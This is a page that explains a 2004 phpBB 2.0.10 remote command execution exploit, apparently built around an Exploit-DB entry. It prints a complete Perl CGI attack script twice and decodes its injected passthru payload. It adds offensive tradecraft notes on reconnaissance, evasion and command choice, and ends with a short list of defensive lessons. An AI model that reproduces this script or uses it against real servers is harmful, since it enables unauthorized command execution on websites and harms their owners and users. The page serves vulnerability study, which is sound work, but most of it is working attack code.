phpBB 2.0.10 Remote Command Execution (CGI) Exploit Explained

phpBB 2.0.10 Remote Command Execution (CGI) Exploit Explained
What this paper is
This paper details a vulnerability in phpBB version 2.0.10 that allows an attacker to execute arbitrary commands on the web server. The exploit is delivered via a CGI script that crafts a malicious HTTP request to the vulnerable phpBB installation.
Simple technical breakdown
The core of the exploit lies in how phpBB 2.0.10 handled user-supplied input within the viewtopic.php script. Specifically, it was vulnerable to a type of injection where specially crafted parameters could lead to the execution of system commands.
The provided Perl script acts as a tool to automate this exploitation. It takes the target website, the path to the phpBB installation, a topic number, and the command to execute as input. It then constructs a URL that, when requested by the web server, tricks phpBB into running the specified command.
Complete code and payload walkthrough
The provided Perl script is a CGI program designed to be run on a web server. It takes parameters from a web form or directly from the URL.
#!/usr/bin/perl
#wphpbb.cgi
#hack service:)
#http://site/cgi-bin/wphpbb.cgi
use CGI qw(:standard);
$CGI::HEADERS_ONCE = 1;
$CGI = new CGI;
$atak = $CGI->param("atak");
$serv = $CGI->param("serv");
$dir = $CGI->param("dir");
$topic = $CGI->param("topic");
$cmd = $CGI->param("cmd");
print $CGI->header(-type=>'text/html',-charset=>'windows-1254');
print qq~<html><head> <meta http-equiv=Content-Type" content=text/html; charset=ISO-8859-9><title>phpBB HACK</title></head>
<body bgcolor=black text=red>phpBB atak webscript<br>
<font color=blue>exploit:by RusH security team // www.rst.void.ru<br>
exploit update:ZzagorR</font><br>
<table align=left><tr>
<form action=? method=post>
<input type=hidden name=atak value=phpbb>
<td>Site: </td><td><input type=text name=serv value=$serv size=50><br><font color=blue>example: www.site.com</font></td></tr>
<tr><td>Klasor: </td><td><input type=text name=dir value=$dir size=50><br><font color=blue>example: /phpBB2/</font></td></tr>
<tr><td>TopicNo: </td><td><input type=text name=topic value=$topic size=10><br><font color=blue>example: 1</font></td></tr>
<tr><td>Komut: </td><td><input type=text name=cmd value=$cmd size=100><br><font color=blue>example: id</font></td></tr>
<tr><td colspan=2 align=center><input type=submit value="Test"></td></tr>~;
if($atak eq "phpbb") {
$serv =~ s/(http:\/\/)//eg;
print "<tr><td valign=top colspan=2><font color=white> Sonuclar</font></td></tr>";
$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$path = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';
use IO::Socket;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
$on = 0;
while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "<tr><td colspan=2 valign=top><font color=white>Islem Sonu</font></td></tr>\r\n"; exit(); }
if ($on == 1) { print "<tr><td colspan=2 valign=top>$answer</td></tr>"; }
if ($answer =~ /^_START_/) { $on = 1; }
}
print "[-] EXPLOIT BASARISIZ\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
}
print "</table></body></html>";
# milw0rm.com [2004-12-03]| Code Fragment/Block | Practical Purpose |
|---|---|
#!/usr/bin/perl |
Shebang line, indicates the script should be executed with Perl. |
use CGI qw(:standard); |
Imports the CGI module, which is essential for handling web requests and responses in Perl. |
$CGI::HEADERS_ONCE = 1; |
Ensures that HTTP headers are sent only once, preventing potential issues. |
$CGI = new CGI; |
Creates a new CGI object to process incoming request parameters. |
$atak = $CGI->param("atak"); $serv = $CGI->param("serv"); $dir = $CGI->param("dir"); $topic = $CGI->param("topic"); $cmd = $CGI->param("cmd"); |
These lines retrieve parameters passed to the CGI script from the web request. They correspond to the form fields: atak (action type), serv (server address), dir (phpBB directory), topic (topic number), and cmd (command to execute). |
print $CGI->header(-type=>'text/html',-charset=>'windows-1254'); |
Prints the HTTP header, specifying the content type as HTML and character set as windows-1254. |
print qq~...~; |
Prints the HTML form for user interaction. This includes input fields for the target site, directory, topic number, and command. The atak field is a hidden input with the value phpbb, indicating the intended action. |
if($atak eq "phpbb") { ... } |
This block executes only if the atak parameter is "phpbb", meaning the user has submitted the form to attempt the exploit. |
$serv =~ s/(http:\/\/)//eg; |
Removes "http://" from the beginning of the server address if present. This simplifies the subsequent socket connection. |
print "<tr><td valign=top colspan=2><font color=white> Sonuclar</font></td></tr>"; |
Prints a table row to display the results. |
$cmd=~ s/(.*);$/$1/eg; |
Removes a trailing semicolon from the command. This is likely to prevent issues with command termination. |
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; |
This is a crucial part of the payload construction. It iterates through each character of the $cmd variable and URL-encodes it. For example, the character 'a' (ASCII 97) becomes "%61". This is necessary because special characters in URLs need to be encoded. |
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; |
Similar to the command encoding, this line URL-encodes each character of the $topic variable. |
$path = $dir; $path .= 'viewtopic.php?t='; $path .= $topic; |
Constructs the base part of the URL path, pointing to viewtopic.php with the provided topic number. |
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20'; |
Appends a URL-encoded string. Let's decode it: %65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20 decodes to echo _START_; . This is a marker to indicate the start of the output from the executed command. |
$path .= $cmd; |
Appends the URL-encoded command to be executed. |
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F'; |
Appends another URL-encoded string: %3B%20%65%63%68%6F%20%5F%45%4E%44%5F decodes to ; echo _END_. This is a marker to indicate the end of the output and also ensures the command is terminated properly. |
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527'; |
This is the most complex part. It appends a URL-encoded string that targets a specific vulnerability in phpBB 2.0.10's viewtopic.php. Let's decode it: |
* `%2527` decodes to `%27` (a single quote).
* `%70%61%73%73%74%68%72%75` decodes to `passthru`.
* `%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29` decodes to `($_HTTP_GET_VARS[rush])`.
* `%2527` decodes to `%27` (a single quote).
So, the entire decoded string is `' . passthru($_HTTP_GET_VARS[rush]) . '`.
The `highlight` parameter in phpBB 2.0.10 was used to highlight search terms. This exploit abuses it by injecting PHP code that calls `passthru()` with a variable that will be controlled by another GET parameter named `rush`. The `passthru()` function executes a command and displays its output. The single quotes are used to break out of any existing string context and inject the PHP code.use IO::Socket; | Imports the IO::Socket module for network communication.$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n"; | Establishes a TCP connection to the target server on port 80 (HTTP).print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n"; | Sends an HTTP GET request to the target server with the crafted $path. The Host header is set to the target server, and Connection: close tells the server to close the connection after the response.$on = 0;
while ($answer = <$socket>) { ... } | This loop reads the response from the server line by line.if ($answer =~ /^_END_/) { print "<tr><td colspan=2 valign=top><font color=white>Islem Sonu</font></td></tr>\r\n"; exit(); } | If the line contains _END_ (which is printed by the echo _END_ part of the payload), it means the command execution and output are complete, and the script exits.if ($on == 1) { print "<tr><td colspan=2 valign=top>$answer</td></tr>"; } | If the $on flag is set to 1, it means we are within the output of the executed command, so print the line as part of the results.if ($answer =~ /^_START_/) { $on = 1; } | If the line contains _START_ (printed by echo _START_), set the $on flag to 1, indicating that subsequent lines are the output of the executed command.print "[-] EXPLOIT BASARISIZ\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; | If the loop finishes without finding _END_, it indicates the exploit failed.print "</table></body></html>"; | Closes the HTML tags.
Shellcode/Payload Segments:
The "payload" in this exploit isn't traditional shellcode in the sense of raw machine code. Instead, it's a series of URL-encoded strings that are injected into an HTTP request.
%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20: Decodes toecho _START_;. This is a marker to signal the beginning of the command's output.$cmd(URL-encoded): This is the actual command provided by the attacker, also URL-encoded.%3B%20%65%63%68%6F%20%5F%45%4E%44%5F: Decodes to; echo _END_. This ensures the command is terminated and signals the end of the output.%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527: Decodes to' . passthru($_HTTP_GET_VARS[rush]) . '. This is the injected PHP code that leverages thehighlightparameter. It tells phpBB to execute whatever is passed in therushGET parameter usingpassthru().
The overall execution flow is:
The attacker sends a crafted URL to the vulnerable phpBB site.
The phpBB script viewtopic.php processes the URL.
Due to the vulnerability, it interprets the highlight parameter's content as PHP code.
This PHP code executes the command specified in the $cmd variable (which is also passed via the URL, but in a different parameter that gets echoed by the echo _START_ and echo _END_ markers).
The output of the command is then returned in the HTTP response, captured by the Perl script, and displayed to the attacker.
Practical details for offensive operations teams
- Required Access Level: Unauthenticated access to the web server is sufficient. The vulnerability is in a publicly accessible script.
- Lab Preconditions:
- A vulnerable phpBB 2.0.10 installation. This can be set up in a virtual machine or a dedicated test environment.
- A web server configured to run Perl CGI scripts.
- The attacker needs to host the
wphpbb.cgiscript on their own web server or run it locally if they can direct traffic to it.
- Tooling Assumptions:
- Perl interpreter: Required to run the
wphpbb.cgiscript. - Web browser: To interact with the CGI script's HTML form.
- Network connectivity: To reach the target web server.
- Perl interpreter: Required to run the
- Execution Pitfalls:
- Incorrect phpBB version: The exploit is specific to phpBB 2.0.10. Newer or older versions will not be vulnerable.
- Incorrect directory path: The
$dirparameter must accurately reflect the path to the phpBB installation (e.g.,/phpBB2/). - Firewall/WAF blocking: Network devices or web application firewalls might detect and block the malicious request patterns.
- Server configuration: If the web server is not configured to execute Perl CGI scripts, or if
viewtopic.phpis not accessible or has been patched, the exploit will fail. - URL encoding issues: While the script handles encoding, complex commands or unusual characters might require manual adjustment or further encoding.
- Output parsing: The script relies on
_START_and_END_markers. If these are not present in the response (e.g., due to server errors or modifications in phpBB's output), the output parsing will fail.
- Tradecraft Considerations:
- Reconnaissance: Identify the target application and its version. Look for common phpBB installation paths.
- Staging: The attacker's CGI script (
wphpbb.cgi) acts as a staging point. It needs to be hosted on a server accessible by the attacker and the target. - Obfuscation: The exploit relies on URL encoding. For more advanced evasion, further obfuscation of the command or the injected PHP code might be considered, though this specific exploit is relatively straightforward.
- Command Choice: Start with simple commands like
id,whoami,lsto confirm execution before attempting more complex operations. - Telemetry: The primary telemetry will be the HTTP GET request to
viewtopic.phpwith the crafted parameters. Server logs will show this request. If the exploit is successful, the server's response will contain the output of the executed command.
Where this was used and when
This exploit was published in December 2004. It targets a specific vulnerability in phpBB version 2.0.10. Given its age, it's highly unlikely to be effective against modern, patched phpBB installations or other modern web applications. However, it represents a common type of web application vulnerability from that era, where input sanitization was less robust. It would have been used by attackers against websites running this specific, unpatched version of phpBB.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of keeping web applications and their components updated. phpBB 2.0.10 is ancient and has long been superseded by secure versions.
- Input Validation and Sanitization: Web applications must rigorously validate and sanitize all user-supplied input. This includes encoding special characters and preventing injection of code (SQL, PHP, OS commands).
- Secure Coding Practices: Developers should be aware of common vulnerabilities like command injection and cross-site scripting (XSS), which this exploit indirectly leverages through the
highlightparameter. - Web Application Firewalls (WAFs): WAFs can help detect and block known malicious request patterns, providing a layer of defense against such exploits. However, they are not a substitute for secure code.
- Least Privilege: Ensure that the web server process runs with the minimum necessary privileges. Even if command execution is achieved, limiting the impact of a compromised process is crucial.
- Regular Audits and Penetration Testing: Proactively identify vulnerabilities in web applications through regular security audits and penetration tests.
ASCII visual (if applicable)
This exploit involves a direct interaction between the attacker's CGI script and the target web server.
+---------------------+ +---------------------+ +---------------------+
| Attacker's Machine | ----> | Attacker's CGI Host | ----> | Target Web Server |
| (Operator) | | (wphpbb.cgi) | | (phpBB 2.0.10) |
+---------------------+ +---------------------+ +---------------------+
^ |
| |
| HTTP Request (Crafted URL) | HTTP Response
| (e.g., GET /phpBB2/viewtopic.php?t=1&rush=...) | (with command output)
| |
+-----------------------------------------------------------+Explanation:
- The attacker uses their machine to interact with their own CGI script (
wphpbb.cgi). - The
wphpbb.cgiscript constructs a malicious HTTP GET request. - This request is sent to the target web server, specifically to the
viewtopic.phpscript of a phpBB 2.0.10 installation. - The vulnerable phpBB script processes the request, leading to command execution.
- The output of the executed command is sent back in the HTTP response.
- The
wphpbb.cgiscript captures this response and displays it to the attacker.
Source references
- Paper ID: 673
- Paper Title: phpBB 2.0.10 - Remote Command Execution (CGI)
- Author: ZzagorR
- Published: 2004-12-03
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/673
- Raw URL: https://www.exploit-db.com/raw/673
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
#wphpbb.cgi
#hack service:)
#http://site/cgi-bin/wphpbb.cgi
use CGI qw(:standard);
$CGI::HEADERS_ONCE = 1;
$CGI = new CGI;
$atak = $CGI->param("atak");
$serv = $CGI->param("serv");
$dir = $CGI->param("dir");
$topic = $CGI->param("topic");
$cmd = $CGI->param("cmd");
print $CGI->header(-type=>'text/html',-charset=>'windows-1254');
print qq~<html><head> <meta http-equiv=Content-Type" content=text/html; charset=ISO-8859-9><title>phpBB HACK</title></head>
<body bgcolor=black text=red>phpBB atak webscript<br>
<font color=blue>exploit:by RusH security team // www.rst.void.ru<br>
exploit update:ZzagorR</font><br>
<table align=left><tr>
<form action=? method=post>
<input type=hidden name=atak value=phpbb>
<td>Site: </td><td><input type=text name=serv value=$serv size=50><br><font color=blue>example: www.site.com</font></td></tr>
<tr><td>Klasor: </td><td><input type=text name=dir value=$dir size=50><br><font color=blue>example: /phpBB2/</font></td></tr>
<tr><td>TopicNo: </td><td><input type=text name=topic value=$topic size=10><br><font color=blue>example: 1</font></td></tr>
<tr><td>Komut: </td><td><input type=text name=cmd value=$cmd size=100><br><font color=blue>example: id</font></td></tr>
<tr><td colspan=2 align=center><input type=submit value="Test"></td></tr>~;
if($atak eq "phpbb") {
$serv =~ s/(http:\/\/)//eg;
print "<tr><td valign=top colspan=2><font color=white> Sonuclar</font></td></tr>";
$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$path = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';
use IO::Socket;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
$on = 0;
while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "<tr><td colspan=2 valign=top><font color=white>Islem Sonu</font></td></tr>\r\n"; exit(); }
if ($on == 1) { print "<tr><td colspan=2 valign=top>$answer</td></tr>"; }
if ($answer =~ /^_START_/) { $on = 1; }
}
print "[-] EXPLOIT BASARISIZ\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
}
print "</table></body></html>";
# milw0rm.com [2004-12-03]